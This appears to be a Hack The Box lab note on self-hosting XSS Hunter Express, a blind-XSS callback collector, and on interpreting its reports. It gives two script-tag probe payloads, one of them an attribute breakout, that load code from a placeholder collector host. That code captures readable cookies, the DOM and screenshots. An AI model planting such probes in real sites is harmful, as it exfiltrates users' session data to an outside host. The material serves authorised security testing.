blind-xss-tool-xss-hunter.md (14984B)
1 --- 2 title: "Blind XSS Tool - XSS Hunter" 3 description: "XSS Hunter Express is a self-hosted blind-XSS reporting platform. When its generated probe executes in an unseen HTB browser, the platform can record the…" 4 category: web 5 tags: ["web", "xss"] 6 tools: [] 7 difficulty: intermediate 8 updated: "2026-08-10" 9 source: "vault:Web/Blind XSS Tool - XSS Hunter.md" 10 --- 11 # Blind XSS Tool — XSS Hunter `fas:ClipboardList` 12 13 ## Summary 14 15 [XSS Hunter Express](https://github.com/mandatoryprogrammer/xsshunter-express) is a self-hosted blind-XSS reporting platform. When its generated probe executes in an unseen HTB browser, the platform can record the vulnerable URI, origin, referrer, user agent, non-`HttpOnly` cookies, page DOM, screenshots, and request metadata. Use it when a simple DNS or HTTP callback is insufficient and the lab requires evidence from an administrator-facing or asynchronous rendering path. 16 17 > [!danger]+ HTB-Only Boundary 18 > `fas:TriangleExclamation` 19 > 1. Deploy probes only into Hack The Box labs or systems you own and are explicitly authorised to test. 20 > 2. The collector may receive session data, DOM content, screenshots, and internal URLs. Treat its database and image directory as sensitive. 21 > 3. Use a dedicated hostname, strong credentials, minimal exposure, and short retention. 22 > 4. See Cross-Site Scripting (XSS) - HTB Cheat Sheet for payload selection and evidence rules. 23 24 --- 25 26 ## Conceptual Information 27 28 ### When to Use XSS Hunter 29 30 | Requirement | Fit | 31 |---|---| 32 | Confirm a single DNS or HTTP interaction | Use Blind XSS Tool - Interactsh instead | 33 | Capture screenshots and DOM context | **Strong fit** | 34 | Correlate many stored fields | **Strong fit** with unique probe paths | 35 | Avoid operating internet-facing infrastructure | Use a hosted OAST service or a local listener where routing permits | 36 | Fine-grained payload/report controls | Compare with Blind XSS Tool - ezXSS | 37 38 ### Data Flow 39 40 1. An HTB field stores the generated `<script src>` probe. 41 2. A lab administrator or automated browser renders the field. 42 3. The browser requests the XSS Hunter probe over HTTPS. 43 4. The probe collects its configured evidence and posts a report to the collector. 44 5. The dashboard and optional notification channel expose the callback. 45 46 > [!warning]+ Security Model 47 > `fas:TriangleExclamation` 48 > 1. XSS Hunter is itself an internet-facing web application and evidence store. 49 > 2. Do not reuse its root domain for email, production websites, or unrelated services. 50 > 3. Restrict the admin panel at the firewall or reverse proxy when possible. 51 > 4. If the control panel is disabled, verify how reports will be reviewed before planting probes. 52 53 --- 54 55 ## Prerequisites 56 57 | Requirement | Minimum or recommendation | Check | 58 |---|---|---| 59 | Linux VPS | At least **2 GB RAM** per the project README | `free -h` | 60 | Docker Engine | Current supported release | `docker --version` | 61 | Docker Compose | Compose v2 preferred; legacy `docker-compose` is also accepted by the project | `docker compose version` | 62 | Dedicated hostname | Short name such as `x.YOUR_DOMAIN` | `dig +short x.YOUR_DOMAIN` | 63 | DNS control | Public `A`/`AAAA` record pointing to the VPS | DNS provider panel | 64 | Inbound ports | TCP `80` and `443` for HTTP/TLS | VPS firewall and cloud firewall | 65 | Optional notifications | Valid provider credentials | Provider dashboard | 66 67 > [!important]+ Before Installation 68 > `fas:TriangleExclamation` 69 > 1. Create the hostname and wait until it resolves to the server. 70 > 2. Ensure no other service occupies TCP `80` or `443`. 71 > 3. Record a rollback point or VPS snapshot. 72 > 4. Generate unique passwords and keep secrets out of shell history and screenshots. 73 74 --- 75 76 ## Commands and Implementation 77 78 ### 1. Verify DNS and Ports 79 80 ```bash 81 dig +short x.YOUR_DOMAIN 82 curl -4 https://icanhazip.com 83 sudo ss -lntp '( sport = :80 or sport = :443 )' 84 ``` 85 86 > [!info]+ Preflight Breakdown 87 > 1. **`dig`**: The hostname should resolve to the VPS public address. 88 > 2. **Public IP check**: Confirms the address expected in DNS. 89 > 3. **`ss`**: Output should be empty before XSS Hunter starts unless a planned reverse proxy owns the ports. 90 91 ### 2. Clone and Inspect the Production Compose Repository 92 93 ```bash 94 git clone https://github.com/mandatoryprogrammer/xsshunter-express.git 95 cd xsshunter-express 96 git status --short 97 docker compose config --services 98 ``` 99 100 > [!info]+ Command Breakdown 101 > 1. **Repository**: Uses the original XSS Hunter Express repository because its current Compose file contains the documented production hostname, TLS, SMTP, storage, and database settings. 102 > 2. **`git status --short`**: Establishes a clean baseline before configuration edits. 103 > 3. **`docker compose config --services`**: Validates the Compose file and prints the actual service names before startup. 104 105 > [!warning]+ Truffle Security Fork Status 106 > `fas:TriangleExclamation` 107 > 1. The [Truffle Security fork](https://github.com/trufflesecurity/xsshunter) contains newer application changes. 108 > 2. As verified on **2026-08-08**, its README still describes the legacy automatic-TLS Compose workflow, while its actual Compose file expects an untracked `dev.env`, binds to `127.0.0.1:8080`, and references a Google Cloud credential mount. 109 > 3. Do not follow that README as a turnkey production deployment without supplying and auditing the missing environment, reverse-proxy, TLS, database, and storage configuration. 110 111 ### 3. Configure the Compose File 112 113 Edit the repository's `docker-compose.yml` and replace the sample values. 114 115 | Setting | Required value | Security note | 116 |---|---|---| 117 | `HOSTNAME` | `x.YOUR_DOMAIN` | Use a dedicated, short hostname that already resolves | 118 | `SSL_CONTACT_EMAIL` | Your certificate contact address | Used for automated Let's Encrypt issuance and renewal | 119 | `MAX_PAYLOAD_UPLOAD_SIZE_MB` | A bounded lab-appropriate limit | Large DOM and screenshot reports consume disk and memory | 120 | `CONTROL_PANEL_ENABLED` | `true` for dashboard use | Restrict panel access; disable only after confirming an alternate report path | 121 | `SMTP_EMAIL_NOTIFICATIONS_ENABLED` | `false` unless configured | Avoid broken or unintended outbound mail | 122 | `SMTP_HOST`, `SMTP_PORT`, `SMTP_USE_TLS` | Matching provider settings | Prefer a lab-only notification account | 123 | `SMTP_USERNAME`, `SMTP_PASSWORD` | Lab-only provider credentials | Store as secrets and rotate after exposure | 124 | `SMTP_FROM_EMAIL`, `SMTP_RECEIVER_EMAIL` | Deliberate sender and receiver | Avoid forwarding full reports to broad mailboxes | 125 | `DATABASE_USER`, `DATABASE_PASSWORD` | Random unique values | Change both application and PostgreSQL values consistently | 126 127 ```bash 128 cp docker-compose.yml docker-compose.yml.pre-htb 129 ${EDITOR:-vi} docker-compose.yml 130 docker compose config >/dev/null 131 ``` 132 133 > [!info]+ Configuration Breakdown 134 > 1. The copy provides a local rollback reference without exposing secrets elsewhere. 135 > 2. **`docker compose config`** resolves the configuration and fails on malformed YAML or missing values. 136 > 3. Do not commit the configured Compose file if it contains credentials. 137 138 ### 4. Start PostgreSQL, Then XSS Hunter 139 140 The upstream instructions start the database first and run the application in the foreground for the initial setup. 141 142 ```bash 143 docker compose up -d postgresdb 144 docker compose up xsshunterexpress 145 ``` 146 147 > [!info]+ Startup Breakdown 148 > `fas:Terminal` 149 > 1. **`postgresdb`**: Starts the evidence database in the background. 150 > 2. **`xsshunterexpress`**: Runs the application in the foreground so the initial administrator password and TLS messages are visible. 151 > 3. The first HTTPS request can be slower while the service obtains a certificate. 152 > 4. Legacy environments may require `docker-compose` in place of `docker compose`. 153 154 After recording the generated admin password, start the full stack in the background: 155 156 ```bash 157 docker compose up -d 158 docker compose ps 159 docker compose logs --tail=100 xsshunterexpress 160 ``` 161 162 > [!success]+ Expected Result 163 > 1. The services show a running state. 164 > 2. `https://x.YOUR_DOMAIN/admin/` presents the control-panel login. 165 > 3. TLS is valid for the configured hostname. 166 167 ### 5. First Login and Hardening 168 169 1. Browse to `https://x.YOUR_DOMAIN/admin/`. 170 2. Sign in using the generated password shown during first startup. 171 3. Store the credential in a password manager. 172 4. Restrict the admin path to your VPN or trusted source IP at the cloud firewall or reverse proxy. 173 5. Verify email notifications only if they are deliberately configured. 174 6. Review the configured secondary payload and leave it empty for the initial HTB test. 175 7. Submit the project's test probe in your own isolated browser and confirm that a report appears. 176 177 ### 6. Generate an HTB Blind-XSS Probe 178 179 Copy the probe exactly as generated by your instance. A typical shape is: 180 181 ```html 182 <script src="https://x.YOUR_DOMAIN/GENERATED_PROBE_PATH"></script> 183 ``` 184 185 For a quoted attribute context, break out only after confirming the quote type: 186 187 ```html 188 "><script src="https://x.YOUR_DOMAIN/GENERATED_PROBE_PATH"></script> 189 ``` 190 191 > [!warning]+ Probe Placement 192 > `fas:TriangleExclamation` 193 > 1. Use a distinct probe or path label for every HTB field. 194 > 2. Record the request, field name, account, and timestamp before submission. 195 > 3. Begin with one field to avoid ambiguous callbacks. 196 > 4. Do not guess the generated endpoint; copy it from your own dashboard. 197 198 ### 7. Interpret a Callback 199 200 | Field | What it establishes | Limitation | 201 |---|---|---| 202 | Vulnerable URI | Page that rendered the probe | Redirects or SPA routes may alter it | 203 | Origin | Browser security origin | Does not by itself identify the user | 204 | Referrer | Navigation or embedding context | May be reduced by referrer policy | 205 | User agent | Browser/automation fingerprint | Can be generic or spoofed | 206 | Cookies | JavaScript-readable cookies | `HttpOnly` cookies are absent | 207 | DOM | Rendered page structure | May contain sensitive lab content | 208 | Screenshot | Visual evidence of affected view | Treat as sensitive and minimise retention | 209 | Responsible request | Injection request when supported | Requires compatible tooling or metadata | 210 211 > [!success]+ Evidence Standard 212 > 1. Correlate the callback to the unique field and timestamp. 213 > 2. Save only the evidence needed to prove the lab objective. 214 > 3. Report the affected role and page separately from the injecting account. 215 > 4. Delete reports, screenshots, and stored probes after completing the lab. 216 217 --- 218 219 ## Operations and Lifecycle 220 221 ### Logs and Health 222 223 ```bash 224 docker compose ps 225 docker compose logs --tail=200 xsshunterexpress 226 docker compose logs --tail=100 postgresdb 227 docker stats --no-stream 228 ``` 229 230 > [!info]+ Operational Checks 231 > 1. Application logs expose TLS, configuration, callback, and startup errors. 232 > 2. Database logs expose storage and authentication failures. 233 > 3. Resource checks are important on the project's minimum-size VPS. 234 235 ### Backup 236 237 Stop the stack briefly and archive the repository's persistent data paths and configured Compose file. 238 239 ```bash 240 docker compose stop 241 cd .. 242 tar -czf "xsshunter-backup-$(date +%F).tar.gz" \ 243 xsshunter-express/docker-compose.yml \ 244 xsshunter-express/postgres-db-data \ 245 xsshunter-express/payload-fire-images \ 246 xsshunter-express/ssldata 247 cd xsshunter-express 248 docker compose start 249 ``` 250 251 > [!warning]+ Backup Handling 252 > `fas:TriangleExclamation` 253 > 1. Confirm the actual bind-mount paths with `docker compose config` before archiving. 254 > 2. The archive can contain credentials, cookies, DOM captures, and screenshots. 255 > 3. Encrypt the archive and keep it only as long as the HTB exercise requires. 256 257 ### Update 258 259 ```bash 260 git status --short 261 git pull --ff-only 262 docker compose pull 263 docker compose up -d --build 264 docker compose ps 265 ``` 266 267 > [!info]+ Update Breakdown 268 > 1. Back up first and review upstream release notes or repository changes. 269 > 2. **`--ff-only`** refuses an unexpected merge. 270 > 3. **`--build`** rebuilds the application image from the updated source. 271 > 4. Re-run a self-test probe after the update. 272 273 ### Stop and Cleanup 274 275 Preserve evidence volumes while stopping services: 276 277 ```bash 278 docker compose down 279 ``` 280 281 Remove Compose-managed volumes only after exporting required HTB evidence: 282 283 ```bash 284 docker compose down --volumes 285 ``` 286 287 > [!danger]+ Destructive Cleanup 288 > `fas:TriangleExclamation` 289 > 1. `--volumes` can permanently remove the Compose-managed database volume. 290 > 2. Bind-mounted directories may remain and must be reviewed separately. 291 > 3. Keep the encrypted backup until you verify that the lab report contains everything required, then dispose of it securely. 292 293 --- 294 295 ## Troubleshooting 296 297 > [!failure]+ Certificate Issuance Fails 298 > `fas:CircleXmark` 299 > 1. Confirm `HOSTNAME` resolves publicly to the VPS. 300 > 2. Confirm inbound TCP `80` and `443` are permitted and not occupied. 301 > 3. Verify the certificate contact address and inspect application logs. 302 > 4. Avoid placing a proxy or CDN in front until initial issuance succeeds unless the repository documents that topology. 303 304 > [!failure]+ Admin Password Is Not Visible 305 > `fas:CircleXmark` 306 > 1. Run `docker compose up xsshunterexpress` in the foreground and inspect the initial logs. 307 > 2. Confirm whether an existing database caused initialisation to be skipped. 308 > 3. Preserve the data directory before any reset; deleting it destroys reports and credentials. 309 310 > [!failure]+ Probe Loads but No Report Appears 311 > `fas:CircleXmark` 312 > 1. Check browser Console and Network for CSP, TLS, mixed-content, or blocked-request errors. 313 > 2. Confirm the callback endpoint is reachable from the HTB browser. 314 > 3. Inspect both application and database logs. 315 > 4. Test the generated probe on an isolated page you control before changing the HTB payload. 316 317 > [!failure]+ Dashboard Is Reachable Publicly 318 > `fas:CircleXmark` 319 > 1. Restrict the admin path by source IP or VPN at the firewall/reverse proxy. 320 > 2. Rotate the administrator password if exposure was unintended. 321 > 3. Review logs for unknown access and rotate any notification secrets stored in configuration. 322 323 --- 324 325 ## Lessons Learned `fas:Lightbulb` 326 327 1. XSS Hunter is most valuable when the lab requires context beyond a single callback. 328 2. Unique probes make stored-field attribution reliable and prevent duplicate callback confusion. 329 3. The evidence store is sensitive infrastructure and needs the same lifecycle discipline as any other assessment database. 330 4. A successful probe proves browser-side execution; every additional impact claim requires separate evidence. 331 332 --- 333 334 ## References `fas:BookOpen` 335 336 1. [XSS Hunter Express Repository](https://github.com/mandatoryprogrammer/xsshunter-express) 337 2. [Truffle Security XSS Hunter Fork](https://github.com/trufflesecurity/xsshunter) 338 3. [Docker Engine Installation](https://docs.docker.com/engine/install/) 339 4. [Docker Compose Documentation](https://docs.docker.com/compose/) 340 5. [Let's Encrypt Documentation](https://letsencrypt.org/docs/) 341 6. Cross-Site Scripting (XSS) - HTB Cheat Sheet 342 7. Blind XSS Tool - ezXSS 343 8. Blind XSS Tool - Interactsh 344 345 #HTB #WebSecurity #XSS #BlindXSS #XSSHunter